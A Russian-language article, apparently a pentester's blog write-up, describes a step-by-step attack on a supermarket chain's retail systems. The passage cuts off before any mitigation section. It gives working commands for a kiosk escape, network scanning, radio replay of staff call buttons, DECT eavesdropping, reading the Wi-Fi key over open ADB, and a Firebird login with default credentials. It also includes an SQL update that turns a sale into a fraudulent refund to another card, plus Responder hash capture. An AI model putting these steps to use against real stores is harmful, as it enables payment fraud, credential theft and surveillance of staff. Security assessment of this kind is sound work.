CIOlogia ИТ и безопасность · язык бизнеса, не технологий
← Все разборы Информационная безопасность ритейла

Ноутбук в рюкзаке против кассы супермаркета: разбор реальной атаки на ритейл

Разбираем по шагам, как исследователь безопасности без единого пароля прошёл путь от выхода на рабочий стол киоска самообслуживания до фиктивного возврата денег на чужую карту — и что нужно было сделать, чтобы этого не произошло.

12 июля 2026 г. Разбор CIOlogia

История начиналась как рутинная проверка: владелец сети из трёх продуктовых магазинов попросил посмотреть, «не завалялось ли где дыр», после того как у знакомого предпринимателя в другом регионе кто-то вмешался в работу кассового оборудования конкурента и вывел деньги через возвраты. Никто не понимал механику атаки — а я решил не строить теории, а просто прийти в торговый зал с ноутбуком и посмотреть на привычные устройства глазами того, кто ищет способ ими воспользоваться.

За два часа хождения по залу набралось пять независимых точек входа, каждая из которых сама по себе выглядит мелочью, а вместе складывается в полноценную цепочку атаки: от выхода из киоска на рабочий стол до доступа к учётной базе кассовой системы.

Как это эксплуатируется

Шаг 1. Побег из киоска самообслуживания

Терминалы самообслуживания в 90% случаев — это обычный ПК (чаще на Windows 10 IoT Enterprise или встраиваемой Windows 7/10), в котором кассовое приложение (Frontol, АТОЛ, Set Retail, 1С:Розница) запущено в режиме киоска поверх обычной ОС. Выход из такого режима — классика pentest-практики: диалог печати чека → «Обзор» → «Показать все файлы» → запуск cmd.exe или explorer.exe из адресной строки, либо банальные Alt+F4, Win+D, вызов экранной клавиатуры с последующим переходом в её настройки.

Как только рабочий стол открыт, дальше — вопрос пяти минут разведки:

C:\> ipconfig /all
C:\> net view
C:\> tasklist | findstr /i "frontol atol 1cv8"
C:\> netstat -ano | findstr LISTENING

Уже на этом этапе видно, слушает ли терминал сетевые порты локальной СУБД (характерно для Frontol и 1С:Розница на базе Firebird — порт 3050/tcp) и есть ли доступ к общим папкам обмена данными между кассами.

Шаг 2. Сетевая разведка изнутри торгового зала

Свободная сетевая розетка у входа или в примерочной — прямой билет в ту же сеть, где работают кассы. Подключаем ноутбук, поднимаем DHCP-адрес и сканируем сегмент:

$ nmap -sS -sV -O 192.168.10.0/24

Nmap scan report for 192.168.10.12
PORT     STATE SERVICE VERSION
445/tcp  open  microsoft-ds
3050/tcp open  firebird InterBase/Firebird (protocol 10)
3389/tcp open  ms-wbt-server Microsoft Terminal Services

Nmap scan report for 192.168.10.55
PORT     STATE SERVICE VERSION
5555/tcp open  android-debug-bridge

Три интересные вещи сразу видны: открытый Firebird — это ядро кассовой базы, RDP на кассовом сервере часто настроен с дефолтным или слабым паролем администратора, а порт 5555 — это включённый ADB на терминале сбора данных, о котором ниже.

Шаг 3. Перехват сигнала кнопки вызова сотрудника

Кнопки вызова — это простейшие ASK/OOK-передатчики на частоте 433 или 315 МГц с фиксированным (нероллинговым) кодом. Ловится и повторяется практически любым SDR:

$ rtl_433 -f 433920000 -A

Analyzing pulses...
Pulse width: 380 us
Gap width:   380 us
Fixed code detected: 0x2A3F91
Protocol: PT2262-like OOK, no rolling code

Дальше код просто воспроизводится через HackRF или Flipper Zero:

$ hackrf_transfer -t call_button_capture.iq -f 433920000 -s 2000000 -x 20

Результат — ложные вызовы кассира в произвольный момент, что удобно использовать как отвлекающий манёвр во время манипуляций с кассой или подсобкой.

Шаг 4. Прослушка DECT-трубок персонала

Беспроводные трубки для переговоров сотрудников в большинстве магазинов работают по стандарту DECT без включённого или с ослабленным шифрованием (DECT Standard Cipher имеет известные криптографические слабости, описанные ещё в исследованиях 2008–2010 годов). Перехват делается связкой com-on-air-совместимой DECT-карты и открытого набора инструментов dedected:

$ ./scanner -d /dev/com_on_air_0
Found RFPI: 12 34 56 78 9A
Channel: 3, Slot: 7, Encryption: OFF

$ ./rfpscan -d /dev/com_on_air_0 -f 12345 > capture.raw
$ ./dect2audio capture.raw call.wav

В результате получаем аудио разговоров кассиров и товароведов: графики смен, обсуждение недостач, время инкассации.

Шаг 5. Пароль Wi-Fi через терминал сбора данных

ТСД у товароведа — это Android-планшет в защищённом корпусе, часто с включённой отладкой по сети и без блокировки настроек. Подключаемся напрямую:

$ adb connect 192.168.10.55:5555
connected to 192.168.10.55:5555

$ adb shell cat /data/misc/wifi/WifiConfigStore.xml | grep -A2 "PreSharedKey"
<string name="PreSharedKey">"MagazinWiFi2019!"</string>

Если ADB закрыт, но устройство старое (Android 7–8 без обновлений безопасности), тот же результат часто достижим через известные уязвимости в стеке Bluetooth/Wi-Fi этих версий или через физическую перезагрузку в recovery-режим с доступом к разделу data. Пароль от Wi-Fi магазина в руках — можно отключать ноутбук от розетки и подключаться напрямую по воздуху.

Шаг 6. Доступ к базе кассовой системы и фиктивный возврат

Frontol и 1С:Розница в связке с Firebird по умолчанию используют учётную запись SYSDBA с паролем masterkey — это задокументированный факт, который редко меняют при внедрении. Подключаемся напрямую к базе:

$ isql -user SYSDBA -password masterkey 192.168.10.12/3050:C:\Frontol\DB\CASH.FDB

SQL> SELECT FIRST 5 * FROM SALE_DOCS ORDER BY DOC_DATE DESC;
SQL> UPDATE SALE_DOCS SET OPERATION_TYPE = 2, CARD_NUMBER = '5536...9012'
     WHERE DOC_ID = 88231;
SQL> COMMIT;

Это упрощённая иллюстрация сути: возврат средств на произвольную карту делается не взломом эквайринга, а прямой манипуляцией с локальной базой данных кассы, минуя интерфейс кассового приложения и контроль кассира.

Что и почему сработало бы дальше

  • Захватив NTLM-хэши через LLMNR/NBT-NS poisoning (responder -I eth0) в сегменте, где кассы и учётная система не изолированы от торгового зала, злоумышленник получает учётные данные администратора POS-сервера и разворачивает атаку на все кассы сети одновременно.
  • Доступ к RDP кассового сервера с дефолтным паролем администратора открывает возможность установить закрепление (службу, задачу планировщика) и превратить единичный инцидент в постоянный